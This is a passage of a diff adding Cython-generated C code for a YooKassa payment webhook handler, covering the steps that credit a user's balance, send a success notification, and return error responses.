__pyx_t_13 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_13); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 202, __pyx_L15_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 202, __pyx_L15_error) + } + } + + /* "handlers/payments/yookassa_pay.py":203 + * await add_payment(user_id, amount, "yookassa") + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) # <<<<<<<<<<<<<< + * except ValueError as e: + * logger.error(f" user_id amount: {e}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_17 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 203, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_17); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_17}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 203, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L23_resume_from_await:; + __pyx_t_8 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_13); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 203, __pyx_L15_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 203, __pyx_L15_error) + } + } + + /* "handlers/payments/yookassa_pay.py":196 + * amount_str = payment.amount["value"] + * + * try: # <<<<<<<<<<<<<< + * user_id = int(user_id_str) + * amount = float(amount_str) + */ + } + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + goto __pyx_L20_try_end; + __pyx_L15_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yookassa_pay.py":204 + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" user_id amount: {e}") + * return web.Response(status=400) + */ + __pyx_t_18 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_18) { + __Pyx_AddTraceback("handlers.payments.yookassa_pay.yookassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_3, &__pyx_t_17) < 0) __PYX_ERR(0, 204, __pyx_L17_except_error) + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_INCREF(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_e = __pyx_t_3; + /*try:*/ { + + /* "handlers/payments/yookassa_pay.py":205 + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: + * logger.error(f" user_id amount: {e}") # <<<<<<<<<<<<<< + * return web.Response(status=400) + * else: + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 205, __pyx_L29_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_19 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_error); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 205, __pyx_L29_error) + __Pyx_GOTREF(__pyx_t_19); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 205, __pyx_L29_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_20 = __Pyx_PyUnicode_Concat(__pyx_kp_u_user_id_amount, __pyx_t_5); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 205, __pyx_L29_error) + __Pyx_GOTREF(__pyx_t_20); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_19))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_19); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_19); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_19, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_t_20}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_19, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 205, __pyx_L29_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":206 + * except ValueError as e: + * logger.error(f" user_id amount: {e}") + * return web.Response(status=400) # <<<<<<<<<<<<<< + * else: + * logger.warning(f" ID {payment_id} ") + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_web); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 206, __pyx_L29_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_19 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Response); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 206, __pyx_L29_error) + __Pyx_GOTREF(__pyx_t_19); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 206, __pyx_L29_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 206, __pyx_L29_error) + __pyx_t_20 = __Pyx_PyObject_Call(__pyx_t_19, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 206, __pyx_L29_error) + __Pyx_GOTREF(__pyx_t_20); + __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_20); + __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + goto __pyx_L28_return; + } + + /* "handlers/payments/yookassa_pay.py":204 + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" user_id amount: {e}") + * return web.Response(status=400) + */ + /*finally:*/ { + __pyx_L29_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; __pyx_t_26 = 0; __pyx_t_27 = 0; __pyx_t_28 = 0; + __Pyx_XDECREF(__pyx_t_19); __pyx_t_19 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_20); __pyx_t_20 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_26, &__pyx_t_27, &__pyx_t_28); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_23, &__pyx_t_24, &__pyx_t_25) < 0)) __Pyx_ErrFetch(&__pyx_t_23, &__pyx_t_24, &__pyx_t_25); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_25); + __Pyx_XGOTREF(__pyx_t_26); + __Pyx_XGOTREF(__pyx_t_27); + __Pyx_XGOTREF(__pyx_t_28); + __pyx_t_18 = __pyx_lineno; __pyx_t_21 = __pyx_clineno; __pyx_t_22 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_26); + __Pyx_XGIVEREF(__pyx_t_27); + __Pyx_XGIVEREF(__pyx_t_28); + __Pyx_ExceptionReset(__pyx_t_26, __pyx_t_27, __pyx_t_28); + } + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_XGIVEREF(__pyx_t_25); + __Pyx_ErrRestore(__pyx_t_23, __pyx_t_24, __pyx_t_25); + __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; __pyx_t_26 = 0; __pyx_t_27 = 0; __pyx_t_28 = 0; + __pyx_lineno = __pyx_t_18; __pyx_clineno = __pyx_t_21; __pyx_filename = __pyx_t_22; + goto __pyx_L17_except_error; + } + __pyx_L28_return: { + __Pyx_PyThreadState_assign + __pyx_t_28 = 0; __pyx_t_27 = 0; __pyx_t_26 = 0; __pyx_t_25 = 0; __pyx_t_24 = 0; __pyx_t_23 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_25, &__pyx_t_24, &__pyx_t_23); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_28, &__pyx_t_27, &__pyx_t_26) < 0)) __Pyx_ErrFetch(&__pyx_t_28, &__pyx_t_27, &__pyx_t_26); + __Pyx_XGOTREF(__pyx_t_28); + __Pyx_XGOTREF(__pyx_t_27); + __Pyx_XGOTREF(__pyx_t_26); + __Pyx_XGOTREF(__pyx_t_25); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_23); + __pyx_t_29 = __pyx_r; + __pyx_r = 0; + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + __pyx_r = __pyx_t_29; + __pyx_t_29 = 0; + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_25); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ExceptionReset(__pyx_t_25, __pyx_t_24, __pyx_t_23); + } + __Pyx_XGIVEREF(__pyx_t_28); + __Pyx_XGIVEREF(__pyx_t_27); + __Pyx_XGIVEREF(__pyx_t_26); + __Pyx_ErrRestore(__pyx_t_28, __pyx_t_27, __pyx_t_26); + __pyx_t_28 = 0; __pyx_t_27 = 0; __pyx_t_26 = 0; __pyx_t_25 = 0; __pyx_t_24 = 0; __pyx_t_23 = 0; + goto __pyx_L18_except_return; + } + } + } + goto __pyx_L17_except_error; + + /* "handlers/payments/yookassa_pay.py":196 + * amount_str = payment.amount["value"] + * + * try: # <<<<<<<<<<<<<< + * user_id = int(user_id_str) + * amount = float(amount_str) + */ + __pyx_L17_except_error:; + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_ExceptionReset(__pyx_t_11, __pyx_t_12, __pyx_t_13); + goto __pyx_L6_error; + __pyx_L18_except_return:; + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_ExceptionReset(__pyx_t_11, __pyx_t_12, __pyx_t_13); + goto __pyx_L10_try_return; + __pyx_L20_try_end:; + } + + /* "handlers/payments/yookassa_pay.py":191 + * logger.info(f" API Yookassa: {payment}") + * + * if payment.status == "succeeded" and payment.paid: # <<<<<<<<<<<<<< + * web.Response(status=200) + * user_id_str = payment.metadata.get("user_id") + */ + goto __pyx_L12; + } + + /* "handlers/payments/yookassa_pay.py":208 + * return web.Response(status=400) + * else: + * logger.warning(f" ID {payment_id} ") # <<<<<<<<<<<<<< + * return web.Response(status=400) + * except Exception as e: + */ + /*else*/ { + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 208, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_warning); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 208, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyTuple_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 208, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_15 = 0; + __pyx_t_16 = 127; + __Pyx_INCREF(__pyx_kp_u_ID_2); + __pyx_t_16 = (65535 > __pyx_t_16) ? 65535 : __pyx_t_16; + __pyx_t_15 += 12; + __Pyx_GIVEREF(__pyx_kp_u_ID_2); + PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_kp_u_ID_2); + __pyx_t_20 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_payment_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 208, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_20); + __pyx_t_16 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_20) > __pyx_t_16) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_20) : __pyx_t_16; + __pyx_t_15 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_20); + __Pyx_GIVEREF(__pyx_t_20); + PyTuple_SET_ITEM(__pyx_t_3, 1, __pyx_t_20); + __pyx_t_20 = 0; + __Pyx_INCREF(__pyx_kp_u__14); + __pyx_t_16 = (65535 > __pyx_t_16) ? 65535 : __pyx_t_16; + __pyx_t_15 += 27; + __Pyx_GIVEREF(__pyx_kp_u__14); + PyTuple_SET_ITEM(__pyx_t_3, 2, __pyx_kp_u__14); + __pyx_t_20 = __Pyx_PyUnicode_Join(__pyx_t_3, 3, __pyx_t_15, __pyx_t_16); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 208, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_20); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_20}; + __pyx_t_17 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; + if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 208, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_17); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + + /* "handlers/payments/yookassa_pay.py":209 + * else: + * logger.warning(f" ID {payment_id} ") + * return web.Response(status=400) # <<<<<<<<<<<<<< + * except Exception as e: + * logger.error(f" : {e}") + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_17, __pyx_n_s_web); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 209, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_17); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_17, __pyx_n_s_Response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 209, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + __pyx_t_17 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 209, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_17); + if (PyDict_SetItem(__pyx_t_17, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 209, __pyx_L6_error) + __pyx_t_20 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_17); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 209, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_20); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_20); + __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; + goto __pyx_L10_try_return; + } + __pyx_L12:; + + /* "handlers/payments/yookassa_pay.py":187 + * return web.Response(status=400) + * + * try: # <<<<<<<<<<<<<< + * payment = Payment.find_one(payment_id) + * logger.info(f" API Yookassa: {payment}") + */ + } + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + goto __pyx_L11_try_end; + __pyx_L6_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; + __Pyx_XDECREF(__pyx_t_19); __pyx_t_19 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_20); __pyx_t_20 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yookassa_pay.py":210 + * logger.warning(f" ID {payment_id} ") + * return web.Response(status=400) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * return web.Response(status=500) + */ + __pyx_t_21 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_21) { + __Pyx_AddTraceback("handlers.payments.yookassa_pay.yookassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_20, &__pyx_t_17, &__pyx_t_1) < 0) __PYX_ERR(0, 210, __pyx_L8_except_error) + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_INCREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_e, __pyx_t_17); + __Pyx_GIVEREF(__pyx_t_17); + /*try:*/ { + + /* "handlers/payments/yookassa_pay.py":211 + * return web.Response(status=400) + * except Exception as e: + * logger.error(f" : {e}") # <<<<<<<<<<<<<< + * return web.Response(status=500) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 211, __pyx_L40_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_19 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 211, __pyx_L40_error) + __Pyx_GOTREF(__pyx_t_19); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 211, __pyx_L40_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u__15, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 211, __pyx_L40_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_19))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_19); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_19); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_19, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_5}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_19, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 211, __pyx_L40_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":212 + * except Exception as e: + * logger.error(f" : {e}") + * return web.Response(status=500) # <<<<<<<<<<<<<< + * + * return web.Response(status=200) + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_web); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 212, __pyx_L40_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_19 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Response); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 212, __pyx_L40_error) + __Pyx_GOTREF(__pyx_t_19); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 212, __pyx_L40_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_status, __pyx_int_500) < 0) __PYX_ERR(0, 212, __pyx_L40_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_19, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 212, __pyx_L40_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; + goto __pyx_L39_return; + } + + /* "handlers/payments/yookassa_pay.py":210 + * logger.warning(f" ID {payment_id} ") + * return web.Response(status=400) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * return web.Response(status=500) + */ + /*finally:*/ { + __pyx_L40_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_13 = 0; __pyx_t_12 = 0; __pyx_t_11 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; + __Pyx_XDECREF(__pyx_t_19); __pyx_t_19 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_23, &__pyx_t_24, &__pyx_t_25); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_13, &__pyx_t_12, &__pyx_t_11) < 0)) __Pyx_ErrFetch(&__pyx_t_13, &__pyx_t_12, &__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_13); + __Pyx_XGOTREF(__pyx_t_12); + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_25); + __pyx_t_21 = __pyx_lineno; __pyx_t_18 = __pyx_clineno; __pyx_t_30 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_XGIVEREF(__pyx_t_25); + __Pyx_ExceptionReset(__pyx_t_23, __pyx_t_24, __pyx_t_25); + } + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_ErrRestore(__pyx_t_13, __pyx_t_12, __pyx_t_11); + __pyx_t_13 = 0; __pyx_t_12 = 0; __pyx_t_11 = 0; __pyx_t_23 = 0; 